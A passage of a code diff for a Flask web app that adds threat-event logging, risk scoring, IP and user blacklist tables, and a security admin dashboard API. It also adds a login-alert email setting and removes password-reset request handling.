FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_created_at ON threat_events(created_at)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_ip ON threat_events(ip)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_user_id ON threat_events(user_id)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_type ON threat_events(threat_type)")
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS ip_risk_scores (
|
||||
ip TEXT PRIMARY KEY,
|
||||
risk_score INTEGER NOT NULL DEFAULT 0,
|
||||
last_seen TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_score ON ip_risk_scores(risk_score)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_updated_at ON ip_risk_scores(updated_at)")
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS user_risk_scores (
|
||||
user_id INTEGER PRIMARY KEY,
|
||||
risk_score INTEGER NOT NULL DEFAULT 0,
|
||||
last_seen TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_score ON user_risk_scores(risk_score)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_updated_at ON user_risk_scores(updated_at)")
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS ip_blacklist (
|
||||
ip TEXT PRIMARY KEY,
|
||||
reason TEXT,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
expires_at TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_active ON ip_blacklist(is_active)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_expires ON ip_blacklist(expires_at)")
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS threat_signatures (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
name TEXT UNIQUE NOT NULL,
|
||||
threat_type TEXT NOT NULL,
|
||||
pattern TEXT NOT NULL,
|
||||
pattern_type TEXT DEFAULT 'regex',
|
||||
score INTEGER DEFAULT 0,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_type ON threat_signatures(threat_type)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_active ON threat_signatures(is_active)")
|
||||
|
||||
conn.commit()
|
||||
|
||||
|
||||
def _migrate_to_v14(conn):
|
||||
"""迁移到版本14 - 安全防护:用户黑名单表"""
|
||||
cursor = conn.cursor()
|
||||
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS user_blacklist (
|
||||
user_id INTEGER PRIMARY KEY,
|
||||
reason TEXT,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
expires_at TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
|
||||
|
||||
conn.commit()
|
||||
|
||||
|
||||
def _migrate_to_v15(conn):
|
||||
"""迁移到版本15 - 邮件设置:新设备登录提醒全局开关"""
|
||||
cursor = conn.cursor()
|
||||
|
||||
cursor.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='email_settings'")
|
||||
if not cursor.fetchone():
|
||||
# 邮件表由 email_service.init_email_tables 创建;此处仅做增量字段迁移
|
||||
return
|
||||
|
||||
cursor.execute("PRAGMA table_info(email_settings)")
|
||||
columns = [col[1] for col in cursor.fetchall()]
|
||||
|
||||
changed = False
|
||||
if "login_alert_enabled" not in columns:
|
||||
cursor.execute("ALTER TABLE email_settings ADD COLUMN login_alert_enabled INTEGER DEFAULT 1")
|
||||
print(" ✓ 添加 email_settings.login_alert_enabled 字段")
|
||||
changed = True
|
||||
|
||||
try:
|
||||
cursor.execute("UPDATE email_settings SET login_alert_enabled = 1 WHERE login_alert_enabled IS NULL")
|
||||
if cursor.rowcount:
|
||||
changed = True
|
||||
except sqlite3.OperationalError:
|
||||
# 列不存在等情况由上方迁移兜底;不阻断主流程
|
||||
pass
|
||||
|
||||
if changed:
|
||||
conn.commit()
|
||||
|
||||
133
db/schema.py
133
db/schema.py
@@ -72,6 +72,101 @@ def ensure_schema(conn) -> None:
|
||||
"""
|
||||
)
|
||||
|
||||
# ==================== 安全防护:威胁检测相关表 ====================
|
||||
|
||||
# 威胁事件日志表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS threat_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
threat_type TEXT NOT NULL,
|
||||
score INTEGER NOT NULL DEFAULT 0,
|
||||
rule TEXT,
|
||||
field_name TEXT,
|
||||
matched TEXT,
|
||||
value_preview TEXT,
|
||||
ip TEXT,
|
||||
user_id INTEGER,
|
||||
request_method TEXT,
|
||||
request_path TEXT,
|
||||
user_agent TEXT,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# IP风险评分表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS ip_risk_scores (
|
||||
ip TEXT PRIMARY KEY,
|
||||
risk_score INTEGER NOT NULL DEFAULT 0,
|
||||
last_seen TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# 用户风险评分表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS user_risk_scores (
|
||||
user_id INTEGER PRIMARY KEY,
|
||||
risk_score INTEGER NOT NULL DEFAULT 0,
|
||||
last_seen TIMESTAMP,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# IP黑名单表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS ip_blacklist (
|
||||
ip TEXT PRIMARY KEY,
|
||||
reason TEXT,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
expires_at TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# 用户黑名单表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS user_blacklist (
|
||||
user_id INTEGER PRIMARY KEY,
|
||||
reason TEXT,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
expires_at TIMESTAMP,
|
||||
FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# 威胁特征库表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS threat_signatures (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
name TEXT UNIQUE NOT NULL,
|
||||
threat_type TEXT NOT NULL,
|
||||
pattern TEXT NOT NULL,
|
||||
pattern_type TEXT DEFAULT 'regex',
|
||||
score INTEGER DEFAULT 0,
|
||||
is_active INTEGER DEFAULT 1,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# 账号表(关联用户)
|
||||
cursor.execute(
|
||||
"""
|
||||
@@ -144,21 +239,6 @@ def ensure_schema(conn) -> None:
|
||||
"""
|
||||
)
|
||||
|
||||
# 密码重置申请表
|
||||
cursor.execute(
|
||||
"""
|
||||
CREATE TABLE IF NOT EXISTS password_reset_requests (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
user_id INTEGER NOT NULL,
|
||||
new_password_hash TEXT NOT NULL,
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
|
||||
processed_at TIMESTAMP,
|
||||
FOREIGN KEY (user_id) REFERENCES users (id) ON DELETE CASCADE
|
||||
)
|
||||
"""
|
||||
)
|
||||
|
||||
# 数据库版本表
|
||||
cursor.execute(
|
||||
"""
|
||||
@@ -271,6 +351,26 @@ def ensure_schema(conn) -> None:
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_fingerprints_user ON login_fingerprints(user_id)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_login_ips_user ON login_ips(user_id)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_created_at ON threat_events(created_at)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_ip ON threat_events(ip)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_user_id ON threat_events(user_id)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_events_type ON threat_events(threat_type)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_score ON ip_risk_scores(risk_score)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_risk_scores_updated_at ON ip_risk_scores(updated_at)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_score ON user_risk_scores(risk_score)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_risk_scores_updated_at ON user_risk_scores(updated_at)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_active ON ip_blacklist(is_active)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_ip_blacklist_expires ON ip_blacklist(expires_at)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_type ON threat_signatures(threat_type)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_threat_signatures_active ON threat_signatures(is_active)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_accounts_user_id ON accounts(user_id)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_accounts_username ON accounts(username)")
|
||||
|
||||
@@ -279,9 +379,6 @@ def ensure_schema(conn) -> None:
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_task_logs_created_at ON task_logs(created_at)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_task_logs_user_date ON task_logs(user_id, created_at)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_password_reset_status ON password_reset_requests(status)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_password_reset_user_id ON password_reset_requests(user_id)")
|
||||
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_user_id ON bug_feedbacks(user_id)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_status ON bug_feedbacks(status)")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS idx_bug_feedbacks_created_at ON bug_feedbacks(created_at)")
|
||||
|
||||
218
db/security.py
218
db/security.py
@@ -2,10 +2,12 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
from datetime import timedelta
|
||||
from typing import Any, Optional
|
||||
from typing import Dict
|
||||
|
||||
import db_pool
|
||||
from db.utils import get_cst_now_str
|
||||
from db.utils import get_cst_now, get_cst_now_str
|
||||
|
||||
|
||||
def record_login_context(user_id: int, ip_address: str, user_agent: str) -> Dict[str, bool]:
|
||||
@@ -74,3 +76,217 @@ def record_login_context(user_id: int, ip_address: str, user_agent: str) -> Dict
|
||||
conn.commit()
|
||||
|
||||
return {"new_device": new_device, "new_ip": new_ip}
|
||||
|
||||
|
||||
def get_threat_events_count(hours: int = 24) -> int:
|
||||
"""获取指定时间内的威胁事件数。"""
|
||||
try:
|
||||
hours_int = max(0, int(hours))
|
||||
except Exception:
|
||||
hours_int = 24
|
||||
|
||||
if hours_int <= 0:
|
||||
return 0
|
||||
|
||||
start_time = (get_cst_now() - timedelta(hours=hours_int)).strftime("%Y-%m-%d %H:%M:%S")
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("SELECT COUNT(*) AS cnt FROM threat_events WHERE created_at >= ?", (start_time,))
|
||||
row = cursor.fetchone()
|
||||
try:
|
||||
return int(row["cnt"] if row else 0)
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
|
||||
def _build_threat_events_where_clause(filters: Optional[dict]) -> tuple[str, list[Any]]:
|
||||
clauses: list[str] = []
|
||||
params: list[Any] = []
|
||||
|
||||
if not isinstance(filters, dict):
|
||||
return "", []
|
||||
|
||||
event_type = filters.get("event_type") or filters.get("threat_type")
|
||||
if event_type:
|
||||
raw = str(event_type).strip()
|
||||
types = [t.strip()[:64] for t in raw.split(",") if t.strip()]
|
||||
if len(types) == 1:
|
||||
clauses.append("threat_type = ?")
|
||||
params.append(types[0])
|
||||
elif types:
|
||||
placeholders = ", ".join(["?"] * len(types))
|
||||
clauses.append(f"threat_type IN ({placeholders})")
|
||||
params.extend(types)
|
||||
|
||||
severity = filters.get("severity")
|
||||
if severity is not None and str(severity).strip():
|
||||
sev = str(severity).strip().lower()
|
||||
if "-" in sev:
|
||||
parts = [p.strip() for p in sev.split("-", 1)]
|
||||
try:
|
||||
min_score = int(parts[0])
|
||||
max_score = int(parts[1])
|
||||
clauses.append("score >= ? AND score <= ?")
|
||||
params.extend([min_score, max_score])
|
||||
except Exception:
|
||||
pass
|
||||
elif sev.isdigit():
|
||||
clauses.append("score >= ?")
|
||||
params.append(int(sev))
|
||||
elif sev in {"high", "critical"}:
|
||||
clauses.append("score >= ?")
|
||||
params.append(80)
|
||||
elif sev in {"medium", "med"}:
|
||||
clauses.append("score >= ? AND score < ?")
|
||||
params.extend([50, 80])
|
||||
elif sev in {"low", "info"}:
|
||||
clauses.append("score < ?")
|
||||
params.append(50)
|
||||
|
||||
ip = filters.get("ip")
|
||||
if ip is not None and str(ip).strip():
|
||||
ip_text = str(ip).strip()[:64]
|
||||
clauses.append("ip = ?")
|
||||
params.append(ip_text)
|
||||
|
||||
user_id = filters.get("user_id")
|
||||
if user_id is not None and str(user_id).strip():
|
||||
try:
|
||||
user_id_int = int(user_id)
|
||||
except Exception:
|
||||
user_id_int = None
|
||||
if user_id_int is not None:
|
||||
clauses.append("user_id = ?")
|
||||
params.append(user_id_int)
|
||||
|
||||
if not clauses:
|
||||
return "", []
|
||||
return " WHERE " + " AND ".join(clauses), params
|
||||
|
||||
|
||||
def get_threat_events_list(page: int, per_page: int, filters: Optional[dict] = None) -> dict:
|
||||
"""分页获取威胁事件。"""
|
||||
try:
|
||||
page_i = max(1, int(page))
|
||||
except Exception:
|
||||
page_i = 1
|
||||
try:
|
||||
per_page_i = int(per_page)
|
||||
except Exception:
|
||||
per_page_i = 20
|
||||
per_page_i = max(1, min(200, per_page_i))
|
||||
|
||||
where_sql, params = _build_threat_events_where_clause(filters)
|
||||
offset = (page_i - 1) * per_page_i
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(f"SELECT COUNT(*) AS cnt FROM threat_events{where_sql}", tuple(params))
|
||||
row = cursor.fetchone()
|
||||
total = int(row["cnt"]) if row else 0
|
||||
|
||||
cursor.execute(
|
||||
f"""
|
||||
SELECT
|
||||
id,
|
||||
threat_type,
|
||||
score,
|
||||
rule,
|
||||
field_name,
|
||||
matched,
|
||||
value_preview,
|
||||
ip,
|
||||
user_id,
|
||||
request_method,
|
||||
request_path,
|
||||
user_agent,
|
||||
created_at
|
||||
FROM threat_events
|
||||
{where_sql}
|
||||
ORDER BY created_at DESC, id DESC
|
||||
LIMIT ? OFFSET ?
|
||||
""",
|
||||
tuple(params + [per_page_i, offset]),
|
||||
)
|
||||
items = [dict(r) for r in cursor.fetchall()]
|
||||
|
||||
return {"page": page_i, "per_page": per_page_i, "total": total, "items": items, "filters": filters or {}}
|
||||
|
||||
|
||||
def get_ip_threat_history(ip: str, limit: int = 50) -> list[dict]:
|
||||
"""获取IP的威胁历史(最近limit条)。"""
|
||||
ip_text = str(ip or "").strip()[:64]
|
||||
if not ip_text:
|
||||
return []
|
||||
try:
|
||||
limit_i = max(1, min(200, int(limit)))
|
||||
except Exception:
|
||||
limit_i = 50
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT
|
||||
id,
|
||||
threat_type,
|
||||
score,
|
||||
rule,
|
||||
field_name,
|
||||
matched,
|
||||
value_preview,
|
||||
ip,
|
||||
user_id,
|
||||
request_method,
|
||||
request_path,
|
||||
user_agent,
|
||||
created_at
|
||||
FROM threat_events
|
||||
WHERE ip = ?
|
||||
ORDER BY created_at DESC, id DESC
|
||||
LIMIT ?
|
||||
""",
|
||||
(ip_text, limit_i),
|
||||
)
|
||||
return [dict(r) for r in cursor.fetchall()]
|
||||
|
||||
|
||||
def get_user_threat_history(user_id: int, limit: int = 50) -> list[dict]:
|
||||
"""获取用户的威胁历史(最近limit条)。"""
|
||||
if user_id is None:
|
||||
return []
|
||||
try:
|
||||
user_id_int = int(user_id)
|
||||
except Exception:
|
||||
return []
|
||||
try:
|
||||
limit_i = max(1, min(200, int(limit)))
|
||||
except Exception:
|
||||
limit_i = 50
|
||||
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"""
|
||||
SELECT
|
||||
id,
|
||||
threat_type,
|
||||
score,
|
||||
rule,
|
||||
field_name,
|
||||
matched,
|
||||
value_preview,
|
||||
ip,
|
||||
user_id,
|
||||
request_method,
|
||||
request_path,
|
||||
user_agent,
|
||||
created_at
|
||||
FROM threat_events
|
||||
WHERE user_id = ?
|
||||
ORDER BY created_at DESC, id DESC
|
||||
LIMIT ?
|
||||
""",
|
||||
(user_id_int, limit_i),
|
||||
)
|
||||
return [dict(r) for r in cursor.fetchall()]
|
||||
|
||||
@@ -154,6 +154,7 @@ def init_email_tables():
|
||||
enabled INTEGER DEFAULT 0,
|
||||
failover_enabled INTEGER DEFAULT 1,
|
||||
register_verify_enabled INTEGER DEFAULT 0,
|
||||
login_alert_enabled INTEGER DEFAULT 1,
|
||||
task_notify_enabled INTEGER DEFAULT 0,
|
||||
base_url TEXT DEFAULT '',
|
||||
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
@@ -244,8 +245,8 @@ def get_email_settings() -> Dict[str, Any]:
|
||||
with db_pool.get_db() as conn:
|
||||
cursor = conn.cursor()
|
||||
cursor.execute("""
|
||||
SELECT enabled, failover_enabled, register_verify_enabled, base_url,
|
||||
task_notify_enabled, updated_at
|
||||
SELECT enabled, failover_enabled, register_verify_enabled, login_alert_enabled,
|
||||
base_url, task_notify_enabled, updated_at
|
||||
FROM email_settings WHERE id = 1
|
||||
""")
|
||||
row = cursor.fetchone()
|
||||
@@ -254,14 +255,16 @@ def get_email_settings() -> Dict[str, Any]:
|
||||
'enabled': bool(row[0]),
|
||||
'failover_enabled': bool(row[1]),
|
||||
'register_verify_enabled': bool(row[2]) if row[2] is not None else False,
|
||||
'base_url': row[3] or '',
|
||||
'task_notify_enabled': bool(row[4]) if row[4] is not None else False,
|
||||
'updated_at': row[5]
|
||||
'login_alert_enabled': bool(row[3]) if row[3] is not None else True,
|
||||
'base_url': row[4] or '',
|
||||
'task_notify_enabled': bool(row[5]) if row[5] is not None else False,
|
||||
'updated_at': row[6]
|
||||
}
|
||||
return {
|
||||
'enabled': False,
|
||||
'failover_enabled': True,
|
||||
'register_verify_enabled': False,
|
||||
'login_alert_enabled': True,
|
||||
'base_url': '',
|
||||
'task_notify_enabled': False,
|
||||
'updated_at': None
|
||||
@@ -272,6 +275,7 @@ def update_email_settings(
|
||||
enabled: bool,
|
||||
failover_enabled: bool,
|
||||
register_verify_enabled: bool = None,
|
||||
login_alert_enabled: bool = None,
|
||||
base_url: str = None,
|
||||
task_notify_enabled: bool = None
|
||||
) -> bool:
|
||||
@@ -287,6 +291,10 @@ def update_email_settings(
|
||||
updates.append('register_verify_enabled = ?')
|
||||
params.append(int(register_verify_enabled))
|
||||
|
||||
if login_alert_enabled is not None:
|
||||
updates.append('login_alert_enabled = ?')
|
||||
params.append(int(login_alert_enabled))
|
||||
|
||||
if base_url is not None:
|
||||
updates.append('base_url = ?')
|
||||
params.append(base_url)
|
||||
|
||||
@@ -5,6 +5,7 @@ from __future__ import annotations
|
||||
|
||||
def register_blueprints(app) -> None:
|
||||
from routes.admin_api import admin_api_bp
|
||||
from routes.admin_api import security_bp as admin_security_bp
|
||||
from routes.api_accounts import api_accounts_bp
|
||||
from routes.api_auth import api_auth_bp
|
||||
from routes.api_schedules import api_schedules_bp
|
||||
@@ -21,3 +22,6 @@ def register_blueprints(app) -> None:
|
||||
app.register_blueprint(api_screenshots_bp)
|
||||
app.register_blueprint(api_schedules_bp)
|
||||
app.register_blueprint(admin_api_bp)
|
||||
# Security admin APIs (support both /api/admin/* and /yuyx/api/admin/*)
|
||||
app.register_blueprint(admin_security_bp)
|
||||
app.register_blueprint(admin_security_bp, url_prefix="/yuyx", name="admin_security_yuyx")
|
||||
|
||||
@@ -9,3 +9,6 @@ admin_api_bp = Blueprint("admin_api", __name__, url_prefix="/yuyx/api")
|
||||
# Import side effects: register routes on blueprint
|
||||
from routes.admin_api import core as _core # noqa: F401
|
||||
from routes.admin_api import update as _update # noqa: F401
|
||||
|
||||
# Export security blueprint for app registration
|
||||
from routes.admin_api.security import security_bp # noqa: F401
|
||||
|
||||
@@ -910,32 +910,6 @@ def admin_reset_password_route(user_id):
|
||||
return jsonify({"error": "重置失败,用户不存在"}), 400
|
||||
|
||||
|
||||
@admin_api_bp.route("/password_resets", methods=["GET"])
|
||||
@admin_required
|
||||
def get_password_resets_route():
|
||||
"""获取所有待审核的密码重置申请"""
|
||||
resets = database.get_pending_password_resets()
|
||||
return jsonify(resets)
|
||||
|
||||
|
||||
@admin_api_bp.route("/password_resets/<int:request_id>/approve", methods=["POST"])
|
||||
@admin_required
|
||||
def approve_password_reset_route(request_id):
|
||||
"""批准密码重置申请"""
|
||||
if database.approve_password_reset(request_id):
|
||||
return jsonify({"message": "密码重置申请已批准"})
|
||||
return jsonify({"error": "批准失败"}), 400
|
||||
|
||||
|
||||
@admin_api_bp.route("/password_resets/<int:request_id>/reject", methods=["POST"])
|
||||
@admin_required
|
||||
def reject_password_reset_route(request_id):
|
||||
"""拒绝密码重置申请"""
|
||||
if database.reject_password_reset(request_id):
|
||||
return jsonify({"message": "密码重置申请已拒绝"})
|
||||
return jsonify({"error": "拒绝失败"}), 400
|
||||
|
||||
|
||||
@admin_api_bp.route("/feedbacks", methods=["GET"])
|
||||
@admin_required
|
||||
def get_all_feedbacks():
|
||||
@@ -1067,6 +1041,7 @@ def update_email_settings_api():
|
||||
enabled = data.get("enabled", False)
|
||||
failover_enabled = data.get("failover_enabled", True)
|
||||
register_verify_enabled = data.get("register_verify_enabled")
|
||||
login_alert_enabled = data.get("login_alert_enabled")
|
||||
base_url = data.get("base_url")
|
||||
task_notify_enabled = data.get("task_notify_enabled")
|
||||
|
||||
@@ -1074,6 +1049,7 @@ def update_email_settings_api():
|
||||
enabled=enabled,
|
||||
failover_enabled=failover_enabled,
|
||||
register_verify_enabled=register_verify_enabled,
|
||||
login_alert_enabled=login_alert_enabled,
|
||||
base_url=base_url,
|
||||
task_notify_enabled=task_notify_enabled,
|
||||
)
|
||||
|
||||
334
routes/admin_api/security.py
Normal file
334
routes/admin_api/security.py
Normal file
@@ -0,0 +1,334 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Blueprint, jsonify, request
|
||||
|
||||
import db_pool
|
||||
from db import security as security_db
|
||||
from routes.decorators import admin_required
|
||||
from security import BlacklistManager, RiskScorer
|
||||
|
||||
security_bp = Blueprint("admin_security", __name__)
|
||||
blacklist = BlacklistManager()
|
||||
scorer = RiskScorer(blacklist_manager=blacklist)
|
||||
|
||||
|
||||
def _truncate(value: Any, max_len: int = 200) -> str:
|
||||
text = str(value or "")
|
||||
if max_len <= 0:
|
||||
return ""
|
||||
if len(text) <= max_len:
|
||||
return text
|
||||
return text[: max(0, max_len - 3)] + "..."
|
||||
|
||||
|
||||
def _parse_int_arg(name: str, default: int, *, min_value: int | None = None, max_value: int | None = None) -> int:
|
||||
raw = request.args.get(name, None)
|
||||
if raw is None or str(raw).strip() == "":
|
||||
value = int(default)
|
||||
else:
|
||||
try:
|
||||
value = int(str(raw).strip())
|
||||
except Exception:
|
||||
value = int(default)
|
||||
|
||||
if min_value is not None:
|
||||
value = max(int(min_value), value)
|
||||
if max_value is not None:
|
||||
value = min(int(max_value), value)
|
||||
return value
|
||||
|
||||
|
||||
def _parse_json() -> dict:
|
||||
if request.is_json:
|
||||
data = request.get_json(silent=True) or {}
|
||||
return data if isinstance(data, dict) else {}
|
||||
# 兼容 form-data
|
||||
try:
|
||||
return dict(request.form or {})
|
||||
except Exception:
|
||||
return {}
|
||||
|
||||
|
||||
def _parse_bool(value: Any) -> bool:
|
||||
if isinstance(value, bool):
|
||||
return value
|
||||
if isinstance(value, int):
|
||||
return value != 0
|
||||
text = str(value or "").strip().lower()
|
||||
return text in {"1", "true", "yes", "y", "on"}
|
||||
|
||||
|
||||
def _sanitize_threat_event(event: dict) -> dict:
|
||||
return {
|
||||
"id": event.get("id"),
|
||||
"threat_type": event.get("threat_type") or "unknown",
|
||||
"score": int(event.get("score") or 0),
|
||||
"ip": _truncate(event.get("ip"), 64),
|
||||
"user_id": event.get("user_id"),
|
||||
"request_method": _truncate(event.get("request_method"), 16),
|
||||
"request_path": _truncate(event.get("request_path"), 256),
|
||||
"field_name": _truncate(event.get("field_name"), 80),
|
||||
"rule": _truncate(event.get("rule"), 120),
|
||||
"matched": _truncate(event.get("matched"), 120),
|
||||
"value_preview": _truncate(event.get("value_preview"), 200),
|
||||
"created_at": event.get("created_at"),
|
||||
}
|
||||
|
||||
|
||||
def _sanitize_ban_entry(entry: dict, *, kind: str) -> dict:
|
||||
if kind == "ip":
|
||||
return {
|
||||
"ip": _truncate(entry.get("ip"), 64),
|
||||
"reason": _truncate(entry.get("reason"), 200),
|
||||
"added_at": entry.get("added_at"),
|
||||
"expires_at": entry.get("expires_at"),
|
||||
"is_active": int(entry.get("is_active") or 0),
|
||||
}
|
||||
if kind == "user":
|
||||
return {
|
||||
"user_id": entry.get("user_id"),
|
||||
"reason": _truncate(entry.get("reason"), 200),
|
||||
"added_at": entry.get("added_at"),
|
||||
"expires_at": entry.get("expires_at"),
|
||||
"is_active": int(entry.get("is_active") or 0),
|
||||
}
|
||||
return {}
|
||||
|
||||
|
||||
@security_bp.route("/api/admin/security/dashboard", methods=["GET"])
|
||||
@admin_required
|
||||
def get_security_dashboard():
|
||||
"""
|
||||
获取安全仪表板数据
|
||||
返回:
|
||||
- 最近24小时威胁事件数
|
||||
- 当前封禁IP数
|
||||
- 当前封禁用户数
|
||||
- 最近10条威胁事件
|
||||
"""
|
||||
try:
|
||||
threat_24h = security_db.get_threat_events_count(hours=24)
|
||||
except Exception:
|
||||
threat_24h = 0
|
||||
|
||||
try:
|
||||
banned_ips = blacklist.get_banned_ips()
|
||||
except Exception:
|
||||
banned_ips = []
|
||||
|
||||
try:
|
||||
banned_users = blacklist.get_banned_users()
|
||||
except Exception:
|
||||
banned_users = []
|
||||
|
||||
try:
|
||||
recent = security_db.get_threat_events_list(page=1, per_page=10, filters={}).get("items", [])
|
||||
